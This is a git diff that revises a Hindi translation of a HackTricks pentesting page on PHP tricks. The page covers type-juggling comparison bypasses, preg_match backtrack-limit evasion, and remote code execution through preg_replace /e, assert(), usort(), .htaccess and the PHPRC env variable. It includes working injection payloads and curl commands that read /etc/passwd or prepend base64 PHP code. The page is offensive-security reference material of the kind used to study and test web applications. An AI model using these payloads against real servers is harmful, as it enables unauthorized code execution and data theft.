Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R

This commit is contained in:
Translator 2024-02-02 12:24:23 +00:00
parent 3ee8c7e05e
commit 2672a2c6e9

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **Twitter** 🐦 पर **मुझे फॉलो करें** [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके.
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **अपनी हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में.
</details>
@ -32,7 +32,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## PHP तुलनाओं को बायपास करना
### ढीली तुलनाएँ/टाइप जगलिंग ( == )
### ढीली तुलनाएँ/प्रकार जुगलिंग ( == )
यदि PHP में `==` का उपयोग किया जाता है, तो अप्रत्याशित मामले होते हैं जहाँ तुलना अपेक्षित रूप से व्यवहार नहीं करती है। यह इसलिए है क्योंकि "==" केवल मानों की तुलना करता है जिन्हें एक ही प्रकार में परिवर्तित किया गया है, यदि आप यह भी चाहते हैं कि तुलना किए गए डेटा का प्रकार समान हो तो आपको `===` का उपयोग करना होगा।
@ -43,17 +43,17 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` एक स्ट्रिंग जो एक नंबर से शुरू नहीं होती है वह एक नंबर के बराबर होती है
* `"0xAAAA" == "43690" -> True` नंबरों के दशमलव या हेक्स प्रारूप में बनी स्ट्रिंग्स की तुलना अन्य नंबरों/स्ट्रिंग्स से की जा सकती है और यदि नंबर समान होते हैं तो परिणाम True होता है (स्ट्रिंग में नंबरों को नंबरों के रूप में समझा जाता है)
* `"0xAAAA" == "43690" -> True` दशमलव या हेक्स प्रारूप में संख्याओं से बनी स्ट्रिंग्स की तुलना अन्य संख्याओं/स्ट्रिंग्स से की जा सकती है और यदि संख्याएँ समान होती हैं तो परिणाम True होता है (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
* `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और उसके बाद कुछ भी आने वाली स्ट्रिंग 0 के बराबर होती है
* `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और उसके बाद कोई भी अक्षर (X कोई भी अक्षर हो सकता है) और उसके बाद कुछ भी आने वाली स्ट्रिंग 0 के बराबर होती है
* `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जिसे हैश किया जा रहा है और उसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाएगा और उसमें कोई अक्षर नहीं होगा, तो आप तुलना को बायपास कर सकते हैं। इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पाई जा सकती हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जिसे हैश किया जा रहा है और उसकी तुलना की जा रही है। इसलिए, यदि आप एक मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाएगा और उसमें कोई अक्षर नहीं होगा, तो आप तुलना को बायपास कर सकते हैं। इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पाई जा सकती हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर int 0 के बराबर होता है
अधिक जानकारी के लिए [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
अधिक जानकारी [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) पर
### **in\_array()**
**टाइप जगलिंग** `in_array()` फ़ंक्शन को भी प्रभावित करती है जो डिफ़ॉल्ट रूप से होती है (आपको सख्त तुलना करने के लिए तीसरे तर्क को सच के रूप में सेट करना होगा):
**प्रकार जुगलिंग** `in_array()` फ़ंक्शन को भी प्रभावित करती है जो डिफ़ॉल्ट रूप से होती है (आपको सख्त तुलना करने के लिए तीसरे तर्क को सच में सेट करना होगा):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -80,11 +80,11 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
```
### preg\_match(/^.\*/)
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट को मान्य करने** के लिए किया जा सकता है (यह **जांचता है** कि क्या **ब्लैकलिस्ट** में कोई **शब्द/regex** **उपयोगकर्ता इनपुट** पर **मौजूद है** और यदि नहीं है, तो कोड अपनी क्रियान्विति जारी रख सकता है)।
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट को मान्य करने** के लिए किया जा सकता है (यह **जांचता है** कि क्या कोई **शब्द/regex** **ब्लैकलिस्ट** में **मौजूद** है **उपयोगकर्ता इनपुट** पर और अगर नहीं है, तो कोड अपनी क्रियान्वयन जारी रख सकता है)।
#### नई लाइन बायपास
हालांकि, जब regexp की शुरुआत को सीमित करते हुए `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली लाइन की जांच करता है**, तो अगर आप किसी तरह **कई लाइनों में इनपुट भेज सकते हैं**, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
हालांकि, जब regexp की शुरुआत को सीमित करते हुए `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली लाइन की जांच करता है**, तो अगर आप किसी तरह **कई लाइनों में** इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -107,7 +107,7 @@ echo preg_match("/^.*1.*$/",$myinput);
#### **लंबाई त्रुटि बायपास**
(यह बायपास PHP 5.2.5 पर आजमाया गया था और मैं PHP 7.3.15 पर इसे काम करने में सक्षम नहीं हो पाया)\
(यह बायपास PHP 5.2.5 पर आजमाया गया था और मैं इसे PHP 7.3.15 पर काम करने में सक्षम नहीं हो पाया)\
यदि आप `preg_match()` को एक वैध बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप चेक को **बायपास** करने में सक्षम होंगे। उदाहरण के लिए, अगर यह JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
@ -116,12 +116,12 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
संक्षेप में, समस्या इसलिए होती है क्योंकि PHP में `preg_*`ंक्शन [PCRE लाइब्रेरी](http://www.pcre.org/) पर आधारित होते हैं। PCRE में कुछ नियमित अभिव्यक्तियाँ बहुत सारे पुनरावृत्ति कॉल्स का उपयोग करके मिलान की जाती हैं, जिससे स्टैक स्पेस का बहुत उपयोग होता है। पुनरावृत्ति की अनुमति दी गई सीमा को सेट करना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) होती है जो कि स्टैक में फिट होने से अधिक है।
संक्षेप में, समस्या इसलिए होती है क्योंकि PHP में `preg_*` फंक्शन [PCRE लाइब्रेरी](http://www.pcre.org/) पर आधारित होते हैं। PCRE में कुछ नियमित अभिव्यक्तियों का मिलान बहुत सारे पुनरावृत्ति कॉल्स का उपयोग करके किया जाता है, जिससे स्टैक स्पेस का बहुत उपयोग होता है। पुनरावृत्ति की अनुमति दी गई सीमा को सेट करना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) होती है जो कि स्टैक में फिट होने से अधिक है।
[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी पोस्ट में लिंक किया गया था जहा इस मुद्दे के बारे में और अधिक गहराई से बात की गई है। अब हमारा कार्य स्पष्ट था:\
**ऐसा इनपुट भेजें जो रेगेक्स को 100,000+ पुनरावृत्ति करने के लिए मजबूर करे, जिससे SIGSEGV हो, `preg_match()`ंक्शन `false` लौटाए, जिससे एप्लिकेशन सोचे कि हमारा इनपुट हानिकारक नहीं है, और पेलोड के अंत में आश्चर्य जैसे `{system(<verybadcommand>)}` डालकर SSTI --> RCE --> फ्लैग प्राप्त करें :)**।
[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी पोस्ट में लिंक किया गया था जहा इस मुद्दे के बारे में और अधिक गहराई से बात की गई है। हमारा कार्य अब स्पष्ट था:\
**ऐसा इनपुट भेजें जो रेगेक्स को 100,000+ पुनरावृत्ति करने के लिए मजबूर करे, जिससे SIGSEGV हो, `preg_match()` फंक्शन `false` लौटाए, जिससे एप्लिकेशन सोचे कि हमारा इनपुट हानिकारक नहीं है, और पेलोड के अंत में आश्चर्य जैसे `{system(<verybadcommand>)}` डालकर SSTI --> RCE --> फ्लैग प्राप्त करें :)**।
खैर, रेगेक्स की शर्तों में, हम वास्तव में 100k "पुनरावृत्ति" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जैसा कि [PHP दस्तावेज़ीकरण](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) में बताया गया है कि यह डिफ़ॉल्ट रूप से `pcre.backtrack_limit` वेरिएबल में 1,000,000 (1M) होता है।\
खैर, रेगेक्स की शर्तों में, हम वास्तव में 100k "पुनरावृत्ति" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जैसा कि [PHP दस्तावेज़ीकरण](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) में बताया गया है कि यह डिफ़ॉल्ट रूप से 1,000,000 (1M) होता है `pcre.backtrack_limit` वेरिएबल में।\
इसे प्राप्त करने के लिए, `'X'*500_001` से 1 मिलियन बैकट्रैकिंग स्टेप्स (500k आगे और 500k पीछे) होंगे:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -139,7 +139,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
यदि PHP किसी अन्य पृष्ठ पर पुनर्निर्देशित कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन को **हेडर `Location` सेट करने के बाद कॉल नहीं किया जाता है**, तो PHP निरंतर क्रियान्वित होती रहती है और डेटा को बॉडी में जोड़ती रहती है:
यदि PHP किसी अन्य पृष्ठ पर पुनर्निर्देशित कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन को **हेडर `Location` सेट करने के बाद कॉल नहीं किया जाता है**, तो PHP निरंतर निष्पादन करता है और डेटा को बॉडी में जोड़ता रहता है:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -149,17 +149,17 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## और तरकीबें
## और ट्रिक्स
* **register_globals**: **PHP < 4.1.1.1** में या गलत कॉन्फ़िगरेशन की स्थिति में, **register_globals** सक्रिय हो सकता है (या उनके व्यवहार की नकल की जा रही है)। इसका मतलब है कि ग्लोबल वेरिएबल्स जैसे कि $\_GET में अगर कोई मान हो, उदाहरण के लिए $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर्स भेजकर आप कोड के भीतर इस्तेमाल होने वाले वेरिएबल्स को ओवरराइट कर सकते हैं**।
* **एक ही डोमेन के PHPSESSION कुकीज़ एक ही जगह संग्रहीत की जाती हैं**, इसलिए अगर एक डोमेन के भीतर **अलग-अलग पथों में अलग-अलग कुकीज़ का इस्तेमाल किया जाता है** तो आप यह कर सकते हैं कि एक पथ **दूसरे पथ की कुकी का एक्सेस प्राप्त करे** दूसरे पथ की कुकी के मान को सेट करके।\
इस तरह से अगर **दोनों पथ एक ही नाम के वेरिएबल का एक्सेस करते हैं** तो आप पथ1 में उस वेरिएबल के मान को पथ2 पर लागू कर सकते हैं। और फिर पथ2 पथ1 के वेरिएबल्स को मान्य मानेगा (पथ2 में उसे संबंधित नाम देकर)।
* जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** हों। पता चेक करें: **/\~\<USERNAME>** देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं।
* [**LFI और RCE का उपयोग करते हुए php wrappers**](../../../pentesting-web/file-inclusion/)
* **register_globals**: **PHP < 4.1.1.1** में या गलत कॉन्फ़िगरेशन की स्थिति में, **register_globals** सक्रिय हो सकता है (या उनके व्यवहार की नकल की जा रही हो सकती है)। इसका मतलब है कि ग्लोबल वेरिएबल्स जैसे कि $\_GET में अगर कोई मान हो, उदाहरण के लिए $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर्स भेजकर आप कोड के भीतर इस्तेमाल किए जा रहे वेरिएबल्स को ओवरराइट कर सकते हैं**।
* **PHPSESSION कुकीज़ एक ही डोमेन के लिए एक ही जगह संग्रहीत की जाती हैं**, इसलिए अगर एक डोमेन के भीतर **अलग-अलग पथों में अलग-अलग कुकीज़ का इस्तेमाल किया जाता है** तो आप यह सुनिश्चित कर सकते हैं कि एक पथ **दूसरे पथ की कुकी को एक्सेस करे** दूसरे पथ की कुकी के मान को सेट करके।\
इस तरह से अगर **दोनों पथ एक ही नाम के साथ एक वेरिएबल को एक्सेस करते हैं** तो आप यह सुनिश्चित कर सकते हैं कि **पथ1 में उस वेरिएबल का मान पथ2 पर लागू हो**। और फिर पथ2 पथ1 के वेरिएबल्स को मान्य मानेगा (पथ2 में उसे संबंधित नाम देकर)।
* जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** हों। पता चेक करें: **/\~\<USERNAME>** देखने के लिए कि PHP निर्देशिकाएँ सक्रिय हैं या नहीं।
* [**LFI और RCE का उपयोग करते हुए PHP रैपर्स**](../../../pentesting-web/file-inclusion/)
### password_hash/password_verify
ये फंक्शन्स आमतौर पर PHP में **पासवर्ड से हैश जेनरेट करने** और यह **जांचने** के लिए इस्तेमाल किए जाते हैं कि क्या एक पासवर्ड हैश के साथ सही है।\
ये फंक्शन्स आमतौर पर PHP में **पासवर्ड्स से हैश जेनरेट करने** और यह **जांचने** के लिए इस्तेमाल किए जाते हैं कि कोई पासवर्ड हैश के साथ सही है या नहीं।\
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** में इनपुट की **72bytes की साइज़ सीमा होती है**। इसलिए, जब आप इस एल्गोरिदम के साथ 72bytes से बड़ी किसी चीज़ को हैश करने की कोशिश करते हैं, तो केवल पहले 72B का इस्तेमाल किया जाएगा:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
@ -168,30 +168,27 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### HTTP headers को बायपास करना PHP त्रुटियों का दुरुपयोग करके
### HTTP हेडर्स को बायपास करना PHP त्रुटियों का दुरुपयोग करके
यदि कोई **PHP पेज त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस इको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **पर्याप्त लंबी सामग्री प्रिंट करने के लिए बना सकता है** ताकि जब वह प्रतिक्रिया में **headers जोड़ने की कोशिश करता है** तो सर्वर एक त्रुटि फेंक देगा।\
निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़ी त्रुटियां फेंकने के लिए बनाया**, और जैसा कि आप स्क्रीन में देख सकते हैं जब PHP ने **header जानकारी को संशोधित करने की कोशिश की, वह नहीं कर पाया** (इसलिए उदाहरण के लिए CSP header उपयोगकर्ता को नहीं भेजा गया था):
यदि कोई **PHP पेज त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस इको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **पर्याप्त लंबी सामग्री प्रिंट करने के लिए बना सकता है** ताकि जब वह प्रतिक्रिया में **हेडर्स जोड़ने की कोशिश करे** तो सर्वर एक त्रुटि फेंक देगा।\
निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़ी त्रुटियां फेंकने के लिए बनाया**, और जैसा कि आप स्क्रीन में देख सकते हैं जब PHP ने **हेडर जानकारी को संशोधित करने की कोशिश की, वह नहीं कर पाई** (इसलिए उदाहरण के लिए CSP हेडर उपयोगकर्ता को नहीं भेजा गया था):
![](<../../../.gitbook/assets/image (465).png>)
## Code execution
## कोड निष्पादन
**system("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**
[अधिक उपयोगी PHP functions के लिए यहाँ जांचें](php-useful-functions-disable\_functions-open\_basedir-bypass/)
[अधिक उपयोगी PHP फंक्शन्स के लिए यहाँ जांचें](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **RCE via** **preg\_replace()**
### **RCE के माध्यम से** **preg\_replace()**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
### **RCE के माध्यम से Eval()**
कोड को निष्पादित करने के लिए "replace" तर्क में कम से कम एक मेल की आवश्यकता होती है।
preg_replace का यह विकल्प **PHP 5.5.0 के रूप में अप्रचलित कर दिया गया है।**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
@ -201,20 +198,20 @@ preg_replace का यह विकल्प **PHP 5.5.0 के रूप म
```
### **Assert() के माध्यम से RCE**
php में यह फंक्शन आपको **स्ट्रिंग में लिखे गए कोड को निष्पादित करने की अनुमति देता है** ताकि **सच या झूठ लौटा सके** (और इसके आधार पर निष्पादन को बदल सके)। आमतौर पर यूजर वेरिएबल को स्ट्रिंग के बीच में डाला जाएगा। उदाहरण के लिए:\
PHP में यह फंक्शन आपको **स्ट्रिंग में लिखे गए कोड को निष्पादित करने की अनुमति देता है** ताकि **सत्य या असत्य लौटा सके** (और इसके आधार पर निष्पादन को बदल सके)। आमतौर पर यूजर वेरिएबल को स्ट्रिंग के बीच में डाला जाएगा। उदाहरण के लिए:\
`assert("strpos($_GET['page']),'..') === false")` --> इस मामले में **RCE** प्राप्त करने के लिए आप यह कर सकते हैं:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
आपको कोड **सिंटैक्स** को **तोड़ना** होगा, अपना **पेलोड** **जोड़ें**, और फिर इसे **ठीक करना** होगा। आप **लॉजिक ऑपरेशन्स** जैसे कि "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करता क्योंकि अगर पहली शर्त सच होती है तो हमारा पेलोड नहीं चलेगा। उसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड नहीं चलेगा।
आपको कोड **सिंटैक्स** को **तोड़ना** होगा, अपना **पेलोड** **जोड़ें**, और फिर इसे फिर से **ठीक करना** होगा। आप **लॉजिक ऑपरेशस** जैसे कि "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करता क्योंकि अगर पहली शर्त सच है तो हमारा पेलोड नहीं चलेगा। उसी तरह ";" भी काम नहीं करता क्योंकि हमारा पेलोड नहीं चलेगा।
**दूसरा विकल्प** यह है कि कमांड के निष्पादन को स्ट्रिंग में जोड़ें: `'.highlight_file('.passwd').'`
**दूसरा विकल्प** यह है कि स्ट्रिंग में कमांड का निष्पादन जोड़ें: `'.highlight_file('.passwd').'`
**दूसरा विकल्प** (अगर आपके पास आंतरिक कोड है) किसी वेरिएबल को संशोधित करना है ताकि निष्पादन को बदला जा सके: `$file = "hola"`
**दूसरा विकल्प** (यदि आपके पास आंतरिक कोड है) किसी वेरिएबल को संशोधित करना है ताकि निष्पादन बदल सके: `$file = "hola"`
### **RCE के माध्यम से usort()**
यह फंक्शन एक विशिष्ट फंक्शन का उपयोग करके आइटम्स की एक ऐरे को सॉर्ट करने के लिए इस्तेमाल किया जाता है।\
यह फंक्शन एक विशिष्ट फंक्शन का उपयोग करके आइटम्स की एक ऐरे को सॉर्ट करने के लिए प्रयोग किया जाता है।\
इस फंक्शन का दुरुपयोग करने के लिए:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
@ -240,47 +237,47 @@ usort();}phpinfo;#, "cmp");
आपको जितने पैरेंथेसिस की आवश्यकता है उसे खोजने के लिए:
* `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). शायद हम एक या अधिक ब्रैकेट्स को मिस कर रहे हैं।
* `?order=id);}//`: हमें एक **चेतावनी** मिलती है। यह लगभग सही लगता है।
* `?order=id);}//`: हमें एक **चेतावनी** मिलती है। यह सही लगता है।
* `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). शायद हमारे पास बहुत अधिक समापन ब्रैकेट्स हैं।
### **RCE via .httaccess**
यदि आप **अपलोड** कर सकते हैं **.htaccess**, तो आप कई चीजें **कॉन्फ़िगर** कर सकते हैं और यहां तक कि कोड भी निष्पादित कर सकते हैं (यह कॉन्फ़िगर करते हुए कि .htaccess एक्सटेंशन वाली फाइलें **निष्पादित** की जा सकती हैं)।
विभिन्न .htaccess शेल्स [यहाँ](https://github.com/wireghoul/htshells) पाए जा सकते हैं।
विभिन्न .htaccess शेल्स यहां पाए जा सकते हैं [यहां](https://github.com/wireghoul/htshells)
### RCE via Env Variables
यदि आपको एक भेद्यता मिलती है जो आपको PHP में **env variables को संशोधित करने की अनुमति देती है** (और एक और फाइलें अपलोड करने के लिए, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
यदि आपको एक भेद्यता मिलती है जो आपको **PHP में env variables को संशोधित करने की अनुमति देती है** (और एक और फाइलें अपलोड करने के लिए, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): यह env variable आपको अन्य बाइनरीज को निष्पादित करते समय मनमानी लाइब्रेरीज को लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता है)।
* **`PHPRC`**: PHP को निर्देशित करता है कि उसकी कॉन्फ़िगरेशन फाइल कहाँ स्थित है, आमतौर पर `php.ini` कहलाती है। यदि आप अपनी खुद की कॉन्फ़िग फाइल अपलोड कर सकते हैं, तो, `PHPRC` का उपयोग करके PHP को स पर निर्देशित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो दूसरी अपलोड की गई फाइल को निर्दिष्ट करती है। यह दूसरी फाइल सामान्य **PHP कोड होती है, जो फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित की जाती है**
1. हमारे शेलकोड वाली एक PHP फाइल अपलोड करें
2. दूसरी फाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश होता है जो PHP प्रीप्रोसेसर को निर्देशित करता है कि वह पहले चरण में अपलोड की गई फाइल को निष्पादित करे
* **`PHPRC`**: PHP को निर्देशित करता है **कि अपनी कॉन्फ़िगरेशन फाइल कहां खोजें**, आमतौर पर `php.ini` कहलाती है। यदि आप अपनी खुद की कॉन्फ़िग फाइल अपलोड कर सकते हैं, तो, `PHPRC` का उपयोग करके PHP को स पर निर्देशित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो दूसरी अपलोड की गई फाइल को निर्दिष्ट करती है। यह दूसरी फाइल सामान्य **PHP कोड होती है, जो फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित की जाती है**
1. हमारे शेलकोड वाली PHP फाइल अपलोड करें
2. दूसरी फाइल अपलोड करें, जिसमें **`auto_prepend_file`** निर्देश होता है जो PHP प्रीप्रोसेसर को निर्देशित करता है कि वह पहले चरण में अपलोड की गई फाइल को निष्पादित करे
3. &#x20;`PHPRC` वेरिएबल को हमने दूसरे चरण में अपलोड की गई फाइल पर सेट करें।
* इस श्रृंखला को निष्पादित करने के लिए अधिक जानकारी [**मूल रिपोर्ट से प्राप्त करें**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)।
* इस चेन को निष्पादित करने के लिए अधिक जानकारी [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) प्राप्त करें
* **PHPRC** - एक और विकल्प
* यदि आप **फाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो कि अनुरोध के **बॉडी** को `stdin` में भेजा जाता है:
* यदि आप **फाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो कि `stdin` को भेजे गए अनुरोध का **बॉडी** होता है:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* या RCE प्राप्त करने के लिए, **`allow_url_include`** को सक्षम करें और **base64 PHP कोड** वाली फाइल को प्रीपेंड करें:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* तकनीक [**इस रिपोर्ट से**](https://vulncheck.com/blog/juniper-cve-2023-36845)
* तकनीक [**इस रिपोर्ट से**](https://vulncheck.com/blog/juniper-cve-2023-36845).
## PHP Static analysis
देखें कि क्या आप इन फंक्शन्स के कॉल्स में कोड डाल सकते हैं (यहाँ से [यहाँ](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
देखें कि क्या आप इन फंक्शन्स के कॉल्स में कोड डाल सकते हैं (यहां से [यहां](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
### PHP कोड को स्पष्ट करना
### PHP कोड को Deobfuscating करना
आप **वेब**[ **www.unphp.net**](http://www.unphp.net) **का उपयोग करके PHP कोड को डिओब्फस्केट कर सकते हैं।**
आप **वेब**[ **www.unphp.net**](http://www.unphp.net) **का उपयोग करके PHP कोड को deobfuscate कर सकते हैं।**
## PHP Wrappers & Protocols
PHP Wrappers और प्रोटोकॉल आपको सिस्टम में **लिखने और पढ़ने की सुरक्षा को बायपास करने** और उसे समझौता करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए यह पृष्ठ देखें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)।
PHP Wrappers और protocols आपको सिस्टम में **लिखने और पढ़ने की सुरक्षा को बायपास करने** और उसे समझौता करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पृष्ठ को देखें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)।
## Xdebug अप्रमाणित RCE
@ -300,7 +297,7 @@ echo "$x ${Da}"; //Da Drums
```
